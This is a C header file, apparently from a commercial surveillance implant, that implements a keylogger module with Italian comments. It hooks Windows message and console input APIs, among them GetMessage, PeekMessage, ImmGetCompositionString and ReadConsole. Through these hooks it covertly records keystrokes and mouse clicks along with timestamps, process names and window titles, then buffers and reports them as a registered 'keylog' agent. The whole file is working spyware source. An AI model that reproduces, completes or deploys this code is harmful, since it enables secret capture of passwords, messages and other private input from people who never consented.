HM_KeyLog.h
#define PM_SLEEPTIME 20
#define LOG_BUF_LIMIT 16
#define WM_BUFKEY (WM_USER + 1)
#define WM_SPECIALKEYDOWN (WM_USER + 2)
BOOL bPM_KeyLogStarted = FALSE; // TRUE se l'agent e' attivo
HWND hLastFocus = (HWND)-1; // Ultima finestra con focus
DWORD LogIndex = 0; // Indice nel buffer di logging
DWORD LastvKey = 0, LastMessage = 0; // Ultimo tasto premuto (per evitare alcune ripetizioni)
char kbuf[256];
char LogBuffer[LOG_BUF_LIMIT + 2];
// --- Hook per la messaggistica --
typedef struct {
BOOL active; // La prima variabile deve essere il BOOL di attivazione
} key_log_conf_struct;
typedef struct {
DWORD msg;
DWORD lprm;
DWORD wprm;
} key_params_struct;
typedef struct {
COMMONDATA;
} GetMessageStruct;
GetMessageStruct GetMessageData;
static BOOL _stdcall PM_GetMessage(DWORD ARG1,
DWORD ARG2,
DWORD ARG3,
DWORD ARG4)
{
MSG *rec_msg;
key_log_conf_struct *key_log_conf;
key_params_struct key_params;
DWORD *arg_ptr;
MARK_HOOK
rec_msg = NULL;
// Piccolo trucco per convincere il compilatore
// a usare i parametri di chiamata
__asm {
PUSH ESI
LEA ESI, DWORD PTR [EBP+0x8]
MOV [arg_ptr], ESI
POP ESI
}
INIT_WRAPPER(GetMessageStruct);
CALL_ORIGINAL_API(4);
// Se fallisce o il monitor e' disattivo, ritorna...
if (ret_code==-1 || !ret_code)
return (BOOL) ret_code;
// Per il keylogger
key_log_conf = (key_log_conf_struct *)pData->pHM_IpcCliRead(PM_KEYLOGAGENT);
if (key_log_conf && key_log_conf->active) {
rec_msg = (MSG *)arg_ptr[0];
if (rec_msg->message == WM_KEYDOWN || rec_msg->message == WM_KEYUP ||
rec_msg->message == WM_SYSKEYDOWN || rec_msg->message == WM_SYSKEYUP ||
rec_msg->message == WM_CHAR) {
key_params.msg = rec_msg->message;
key_params.lprm = rec_msg->lParam;
key_params.wprm = rec_msg->wParam;
pData->pHM_IpcCliWrite(PM_KEYLOGAGENT, (BYTE *)&key_params, sizeof(key_params), 0, IPC_DEF_PRIORITY);
}
}
// Per il mouse
key_log_conf = (key_log_conf_struct *)pData->pHM_IpcCliRead(PM_MOUSEAGENT);
if (key_log_conf && key_log_conf->active) {
rec_msg = (MSG *)arg_ptr[0];
if (rec_msg->message == WM_LBUTTONDOWN) {
key_params.msg = rec_msg->message;
key_params.lprm = rec_msg->lParam;
key_params.wprm = rec_msg->wParam;
pData->pHM_IpcCliWrite(PM_MOUSEAGENT, (BYTE *)&key_params, sizeof(key_params), (DWORD)rec_msg->hwnd, IPC_DEF_PRIORITY);
}
}
return (BOOL) ret_code;
}
static DWORD PM_GetMessage_setup(HMServiceStruct * pData)
{
GetMessageData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
GetMessageData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
GetMessageData.dwHookLen = 1000;
// sempre zero per la macro....
return 0;
}
static BOOL _stdcall PM_PeekMessage(DWORD ARG1,
DWORD ARG2,
DWORD ARG3,
DWORD ARG4,
DWORD ARG5)
{
MSG *rec_msg;
key_params_struct key_params;
key_log_conf_struct *key_log_conf;
DWORD *arg_ptr;
MARK_HOOK
rec_msg = NULL;
// Piccolo trucco per convincere il compilatore
// a usare i parametri di chiamata
__asm {
PUSH ESI
LEA ESI, DWORD PTR [EBP+0x8]
MOV [arg_ptr], ESI
POP ESI
}
INIT_WRAPPER(GetMessageStruct);
CALL_ORIGINAL_API(5);
// Se fallisce o il monitor e' disattivo, ritorna...
if (!ret_code)
return (BOOL) ret_code;
// Se il messaggio e' lasciato in coda non lo considera
if (!(arg_ptr[4] & PM_REMOVE))
return (BOOL) ret_code;
// Per il keylogger
key_log_conf = (key_log_conf_struct *)pData->pHM_IpcCliRead(PM_KEYLOGAGENT);
if (key_log_conf && key_log_conf->active) {
rec_msg = (MSG *)arg_ptr[0];
if (rec_msg->message == WM_KEYDOWN || rec_msg->message == WM_KEYUP ||
rec_msg->message == WM_SYSKEYDOWN || rec_msg->message == WM_SYSKEYUP ||
rec_msg->message == WM_CHAR) {
key_params.msg = rec_msg->message;
key_params.lprm = rec_msg->lParam;
key_params.wprm = rec_msg->wParam;
pData->pHM_IpcCliWrite(PM_KEYLOGAGENT, (BYTE *)&key_params, sizeof(key_params), 0, IPC_DEF_PRIORITY);
}
}
// Per il mouse
key_log_conf = (key_log_conf_struct *)pData->pHM_IpcCliRead(PM_MOUSEAGENT);
if (key_log_conf && key_log_conf->active) {
rec_msg = (MSG *)arg_ptr[0];
if (rec_msg->message == WM_LBUTTONDOWN) {
key_params.msg = rec_msg->message;
key_params.lprm = rec_msg->lParam;
key_params.wprm = rec_msg->wParam;
pData->pHM_IpcCliWrite(PM_MOUSEAGENT, (BYTE *)&key_params, sizeof(key_params), (DWORD)rec_msg->hwnd, IPC_DEF_PRIORITY);
}
}
return (BOOL) ret_code;
}
static LONG _stdcall PM_ImmGetCompositionString(DWORD ARG1,
DWORD ARG2,
DWORD ARG3,
DWORD ARG4)
{
key_params_struct key_params;
key_log_conf_struct *key_log_conf;
WCHAR *composition_string;
DWORD buf_len;
DWORD i;
DWORD *arg_ptr;
MARK_HOOK
// Piccolo trucco per convincere il compilatore
// a usare i parametri di chiamata
__asm {
PUSH ESI
LEA ESI, DWORD PTR [EBP+0x8]
MOV [arg_ptr], ESI
POP ESI
}
INIT_WRAPPER(GetMessageStruct);
CALL_ORIGINAL_API(4);
key_log_conf = (key_log_conf_struct *)pData->pHM_IpcCliRead(PM_KEYLOGAGENT);
// Se fallisce o il monitor e' disattivo, ritorna...
if (ret_code==IMM_ERROR_GENERAL || ret_code==IMM_ERROR_NODATA || !key_log_conf || !(key_log_conf->active))
return (BOOL) ret_code;
// Consideriamo solo i codici che conosciamo 0 e 2
if (arg_ptr[1]!=GCS_RESULTSTR || arg_ptr[2]==NULL)
return (BOOL) ret_code;
composition_string = (WCHAR *)arg_ptr[2];
buf_len = ret_code/sizeof(WCHAR);
// Cicla per tutti i record tornati
for (i=0; i<buf_len; i++) {
key_params.msg = WM_CHAR;
key_params.lprm = 0;
key_params.wprm = composition_string[i];
pData->pHM_IpcCliWrite(PM_KEYLOGAGENT, (BYTE *)&key_params, sizeof(key_params), 0, IPC_DEF_PRIORITY);
}
return (BOOL) ret_code;
}
static BOOL _stdcall PM_ReadConsoleInput(DWORD ARG1,
DWORD ARG2,
DWORD ARG3,
DWORD ARG4)
{
key_log_conf_struct *key_log_conf;
key_params_struct key_params;
INPUT_RECORD *input_record;
DWORD buf_len;
DWORD i;
DWORD *arg_ptr;
MARK_HOOK
// Piccolo trucco per convincere il compilatore
// a usare i parametri di chiamata
__asm {
PUSH ESI
LEA ESI, DWORD PTR [EBP+0x8]
MOV [arg_ptr], ESI
POP ESI
}
INIT_WRAPPER(GetMessageStruct);
CALL_ORIGINAL_API(4);
key_log_conf = (key_log_conf_struct *)pData->pHM_IpcCliRead(PM_KEYLOGAGENT);
// Se fallisce o il monitor e' disattivo, ritorna...
if (!ret_code || !key_log_conf || !(key_log_conf->active))
return (BOOL) ret_code;
input_record = (INPUT_RECORD *)arg_ptr[1];
buf_len = *((DWORD *)arg_ptr[3]);
// Cicla per tutti i record tornati
for (i=0; i<buf_len; i++) {
// Se non e' un evento tastiera ritorna...
if (input_record[i].EventType != KEY_EVENT)
continue;
// Per ogni record spedisce il tasto relativo
if (input_record[i].Event.KeyEvent.bKeyDown) {
key_params.msg = WM_SPECIALKEYDOWN;
key_params.lprm = (input_record[i].Event.KeyEvent.wVirtualScanCode << 16);
key_params.wprm = input_record[i].Event.KeyEvent.wVirtualKeyCode;
pData->pHM_IpcCliWrite(PM_KEYLOGAGENT, (BYTE *)&key_params, sizeof(key_params), 0, IPC_DEF_PRIORITY);
} else {
key_params.msg = WM_KEYUP;
key_params.lprm = (input_record[i].Event.KeyEvent.wVirtualScanCode << 16);
key_params.wprm = input_record[i].Event.KeyEvent.wVirtualKeyCode;
pData->pHM_IpcCliWrite(PM_KEYLOGAGENT, (BYTE *)&key_params, sizeof(key_params), 0, IPC_DEF_PRIORITY);
}
}
return (BOOL) ret_code;
}
static BOOL _stdcall PM_ReadConsoleInputEx(DWORD ARG1,
DWORD ARG2,
DWORD ARG3,
DWORD ARG4,
DWORD ARG5)
{
key_params_struct key_params;
key_log_conf_struct *key_log_conf;
INPUT_RECORD *input_record;
DWORD buf_len;
DWORD i;
DWORD *arg_ptr;
MARK_HOOK
// Piccolo trucco per convincere il compilatore
// a usare i parametri di chiamata
__asm {
PUSH ESI
LEA ESI, DWORD PTR [EBP+0x8]
MOV [arg_ptr], ESI
POP ESI
}
INIT_WRAPPER(GetMessageStruct);
CALL_ORIGINAL_API(5);
key_log_conf = (key_log_conf_struct *)pData->pHM_IpcCliRead(PM_KEYLOGAGENT);
// Se fallisce o il monitor e' disattivo, ritorna...
if (!ret_code || !key_log_conf || !(key_log_conf->active))
return (BOOL) ret_code;
// Consideriamo solo i codici che conosciamo 0 e 2
if (arg_ptr[4]!=0 && arg_ptr[4]!=2)
return (BOOL) ret_code;
input_record = (INPUT_RECORD *)arg_ptr[1];
buf_len = *((DWORD *)arg_ptr[3]);
// Cicla per tutti i record tornati
for (i=0; i<buf_len; i++) {
// Se non e' un evento tastiera ritorna...
if (input_record[i].EventType != KEY_EVENT)
continue;
// Per ogni record spedisce il tasto relativo
if (input_record[i].Event.KeyEvent.bKeyDown) {
key_params.msg = WM_SPECIALKEYDOWN;
key_params.lprm = (input_record[i].Event.KeyEvent.wVirtualScanCode << 16);
key_params.wprm = input_record[i].Event.KeyEvent.wVirtualKeyCode;
pData->pHM_IpcCliWrite(PM_KEYLOGAGENT, (BYTE *)&key_params, sizeof(key_params), 0, IPC_DEF_PRIORITY);
} else {
key_params.msg = WM_KEYUP;
key_params.lprm = (input_record[i].Event.KeyEvent.wVirtualScanCode << 16);
key_params.wprm = input_record[i].Event.KeyEvent.wVirtualKeyCode;
pData->pHM_IpcCliWrite(PM_KEYLOGAGENT, (BYTE *)&key_params, sizeof(key_params), 0, IPC_DEF_PRIORITY);
}
}
return (BOOL) ret_code;
}
static BOOL _stdcall PM_ReadConsoleA(DWORD ARG1,
DWORD ARG2,
DWORD ARG3,
DWORD ARG4,
DWORD ARG5)
{
key_log_conf_struct *key_log_conf;
key_params_struct key_params;
DWORD buf_len;
BYTE *buffer;
DWORD i;
DWORD *arg_ptr;
MARK_HOOK
// Piccolo trucco per convincere il compilatore
// a usare i parametri di chiamata
__asm {
PUSH ESI
LEA ESI, DWORD PTR [EBP+0x8]
MOV [arg_ptr], ESI
POP ESI
}
INIT_WRAPPER(GetMessageStruct);
CALL_ORIGINAL_API(5);
key_log_conf = (key_log_conf_struct *)pData->pHM_IpcCliRead(PM_KEYLOGAGENT);
// Se fallisce o il monitor e' disattivo, ritorna...
if (!ret_code || !key_log_conf || !(key_log_conf->active))
return (BOOL) ret_code;
buffer = (BYTE *)arg_ptr[1];
buf_len = *((DWORD *)arg_ptr[3]);
// Invia tutti i caratteri letti
for (i=0; i<buf_len; i++) {
key_params.msg = WM_BUFKEY;
key_params.lprm = buffer[i];
key_params.wprm = 0;
pData->pHM_IpcCliWrite(PM_KEYLOGAGENT, (BYTE *)&key_params, sizeof(key_params), 0, IPC_DEF_PRIORITY);
}
}
static BOOL _stdcall PM_ReadConsoleW(DWORD ARG1,
DWORD ARG2,
DWORD ARG3,
DWORD ARG4,
DWORD ARG5)
{
key_log_conf_struct *key_log_conf;
key_params_struct key_params;
DWORD buf_len;
WCHAR *buffer;
DWORD i;
DWORD *arg_ptr;
MARK_HOOK
// Piccolo trucco per convincere il compilatore
// a usare i parametri di chiamata
__asm {
PUSH ESI
LEA ESI, DWORD PTR [EBP+0x8]
MOV [arg_ptr], ESI
POP ESI
}
INIT_WRAPPER(GetMessageStruct);
CALL_ORIGINAL_API(5);
key_log_conf = (key_log_conf_struct *)pData->pHM_IpcCliRead(PM_KEYLOGAGENT);
// Se fallisce o il monitor e' disattivo, ritorna...
if (!ret_code || !key_log_conf || !(key_log_conf->active))
return (BOOL) ret_code;
buffer = (WCHAR *)arg_ptr[1];
buf_len = *((DWORD *)arg_ptr[3]);
// Invia tutti i caratteri letti
for (i=0; i<buf_len; i++) {
key_params.msg = WM_BUFKEY;
key_params.lprm = buffer[i];
key_params.wprm = 0;
pData->pHM_IpcCliWrite(PM_KEYLOGAGENT, (BYTE *)&key_params, sizeof(key_params), 0, IPC_DEF_PRIORITY);
}
}
// ----------------------------------------------------------
// Scrive il keylog parziale su file
void FlushLog()
{
DWORD local_len = LogIndex;
LogIndex = 0;
LOG_ReportLog(PM_KEYLOGAGENT, (BYTE *)LogBuffer, local_len);
memset(LogBuffer, 0, sizeof(LogBuffer));
}
// Inserisce nella coda di scrittura del keylogger
void WriteLog(char *buf, DWORD len)
{
if (LogIndex + len >= LOG_BUF_LIMIT)
FlushLog();
if (len >= LOG_BUF_LIMIT) {
LOG_ReportLog(PM_KEYLOGAGENT, (BYTE *)buf, len);
return;
}
memcpy(&(LogBuffer[LogIndex]), buf, len);
LogIndex += len;
}
#define SPECIAL_KEY (vKey == VK_RETURN || vKey == VK_TAB || vKey == VK_CANCEL || vKey == VK_BACK)
#define SPECIAL_ASCII (parser[0]==0x0a || parser[0]==0x0d || parser[0]==0x09 || parser[0]==0x18 || parser[0]==0x08)
void ParseKey(DWORD message, DWORD lParam, DWORD wParam )
{
DWORD nScan;
DWORD vKey;
HWND hFocus;
if ((message == WM_SYSKEYDOWN) || (message == WM_KEYDOWN) ||
(message == WM_SYSKEYUP) || (message == WM_KEYUP) ||
(message == WM_BUFKEY) || (message == WM_CHAR) ||
(message == WM_SPECIALKEYDOWN)) {
DWORD dwCount;
WCHAR svBuffer[MEDSIZE];
WCHAR temp_buff[MEDSIZE];
// Vede se il focus e' cambiato
hFocus = GetForegroundWindow();
if(hLastFocus != hFocus) {
WCHAR svTitle[SMLSIZE];
WCHAR svProcName[SMLSIZE];
DWORD dwProcessId = 0;
DWORD nCount;
WCHAR *temp_proc_name = NULL;
// Scrive il titolo della finestra e il timestamp
memset(svTitle, 0, sizeof(svTitle));
nCount = HM_SafeGetWindowTextW(hFocus, (LPWSTR)svTitle, SMLSIZE-2);
if (nCount == 0)
wsprintfW((LPWSTR)svTitle, L"UNKNOWN");
// Scrive il nome del processo in foreground
FNC(GetWindowThreadProcessId)(hFocus, &dwProcessId);
if (dwProcessId && (temp_proc_name = HM_FindProcW(dwProcessId))) {
memset(svProcName, 0, sizeof(svProcName));
FNC(wnsprintfW)((LPWSTR)svProcName, SMLSIZE-2, L"%s", temp_proc_name);
SAFE_FREE(temp_proc_name);
} else
wsprintfW((LPWSTR)svProcName, L"UNKNOWN");
// Scrive la nuova intestazione
bin_buf tolog;
struct tm tstamp;
DWORD delimiter = ELEM_DELIMITER;
GET_TIME(tstamp);
tolog.add("\x00\x00", 2);
tolog.add(&tstamp, sizeof(tstamp));
tolog.add(svProcName, wcslen(svProcName)*2+2);
tolog.add(svTitle, wcslen(svTitle)*2+2);
tolog.add(&delimiter, sizeof(DWORD));
WriteLog((char *)tolog.get_buf(), tolog.get_len());
hLastFocus = hFocus;
}
// Se riceve direttamente un carattere lo scrive...
// (carattere printabile da console)
if (message == WM_BUFKEY) {
// Assumo che siano tutti wchar
if (lParam != 0)
WriteLog((char *)&lParam, 2);
return;
}
// Se riceve un WM_CHAR (carattere printabile da win32)
if (message == WM_CHAR) {
char *parser = (char *)&wParam;
// L'invio viene letto come vkey e non come char
if (parser[1]==0 && SPECIAL_ASCII)
return;
if (wParam != 0)
WriteLog((char *)&wParam, 2);
return;
}
// Se riceve scancode e virtualkey...
vKey = wParam;
nScan = lParam;
// XXX e' SMLSIZE per evitare overflow nella sprintf in temp_buff
// svBuffer e' sempre NULL terminato se dwCount>0
dwCount = FNC(GetKeyNameTextW)(nScan, (LPWSTR)svBuffer, SMLSIZE);
if (vKey == VK_SPACE)
dwCount=1;
// Usato solo per prendere i caratteri da console
if (message == WM_SPECIALKEYDOWN) {
if (dwCount == 1){
DWORD ch = 0;
// I tasti CTRL + x li faccio stampare come x
if (FNC(ToUnicode)(vKey, nScan, (unsigned char *)kbuf, (LPWSTR)&ch, sizeof(ch), 0) > 0)
if (ch != 0)
WriteLog((char *)&ch, 2);
}
message = WM_KEYDOWN;
}
if(dwCount>1) {
// Gli special_key vengono ripetuti come i caratteri normali
// gli altri caratteri particolari vengono notificati solo su pressione e rilascio
if ( (LastvKey != vKey || LastMessage != message || SPECIAL_KEY) &&
(!SPECIAL_KEY || ((message == WM_SYSKEYDOWN) || (message == WM_KEYDOWN))) ) {
/*(wsprintfW(temp_buff, L"[%s", svBuffer);
if (((message == WM_SYSKEYUP) || (message == WM_KEYUP)))
wcscat(temp_buff,L" REL");
wcscat(temp_buff, L"]" );*/
// Prendiamo solo una whitelist di tasti e solo sulla pressione
if ((message == WM_SYSKEYDOWN) || (message == WM_KEYDOWN)) {
WCHAR symbol = 0;
switch(vKey) {
case VK_RETURN:
symbol = 0x21B5;
break;
case VK_F1:
case VK_F2:
case VK_F3:
case VK_F4:
case VK_F5:
case VK_F6:
case VK_F7:
case VK_F8:
case VK_F9:
case VK_F10:
case VK_F11:
case VK_F12:
case VK_F13:
case VK_F14:
case VK_F15:
case VK_F16:
case VK_F17:
case VK_F18:
case VK_F19:
case VK_F20:
symbol = 0x2460 + (vKey-VK_F1);
break;
case VK_DELETE:
symbol = 0x2421;
break;
case VK_BACK:
symbol = 0x2408;
break;
case VK_TAB:
symbol = 0x21E5;
break;
case VK_ESCAPE:
symbol = 0x241B;
break;
case VK_PRIOR:
symbol = 0x21D1;
break;
case VK_NEXT:
symbol = 0x21D3;
break;
case VK_LEFT:
case VK_UP:
case VK_RIGHT:
case VK_DOWN:
symbol = 0x2190 + (vKey-VK_LEFT);
break;
}
if (symbol != 0)
WriteLog((char *)&symbol, 2);
if(vKey == VK_RETURN)
WriteLog((char *)L"\r\n", 4);
}
}
LastvKey = vKey;
LastMessage = message;
}
}
}
DWORD __stdcall PM_KeyLogDispatch(BYTE *msg, DWORD dwLen, DWORD dwFlags, FILETIME *dummy)
{
key_params_struct *key_params;
key_params = (key_params_struct *)msg;
ParseKey(key_params->msg, key_params->lprm, key_params->wprm);
return 1;
}
DWORD __stdcall PM_KeyLogStartStop(BOOL bStartFlag, BOOL bReset)
{
DWORD dummy;
key_log_conf_struct key_log_conf;
// Lo fa per prima cosa, anche se e' gia' in quello stato
// Altrimenti quando gli agenti sono in suspended(per la sync) e ricevo una conf
// che li mette in stop non verrebbero fermati realmente a causa del check
// if (bPM_KeyLogStarted == bStartFlag) che considera suspended e stopped uguali.
// Gli agenti IPC non vengono stoppati quando in suspend (cosi' cmq mettono in coda
// durante la sync).
if (bReset)
AM_IPCAgentStartStop(PM_KEYLOGAGENT, bStartFlag);
// Se l'agent e' gia' nella condizione desiderata
// non fa nulla.
if (bPM_KeyLogStarted == bStartFlag)
return 0;
// Inizializza il logging
if (bStartFlag && !LOG_InitAgentLog(PM_KEYLOGAGENT))
return 0;
bPM_KeyLogStarted = bStartFlag;
if (bStartFlag) {
// Inizializza le variabili globali
hLastFocus = (HWND)-1;
LastvKey = 0, LastMessage = 0;
LogIndex = 0;
memset(LogBuffer, 0, sizeof(LogBuffer));
} else {
// Se disattivato per la sync, la funzione di dispatch e' gia'
// ferma a questo punto
FlushLog();
// chiude il logging
LOG_StopAgentLog(PM_KEYLOGAGENT);
}
return 1;
}
DWORD __stdcall PM_KeyLogInit(JSONObject elem)
{
memset(kbuf, 0, sizeof(kbuf));
return 1;
}
void PM_KeyLogRegister()
{
AM_MonitorRegister(L"keylog", PM_KEYLOGAGENT, (BYTE *)PM_KeyLogDispatch, (BYTE *)PM_KeyLogStartStop, (BYTE *)PM_KeyLogInit, NULL);
}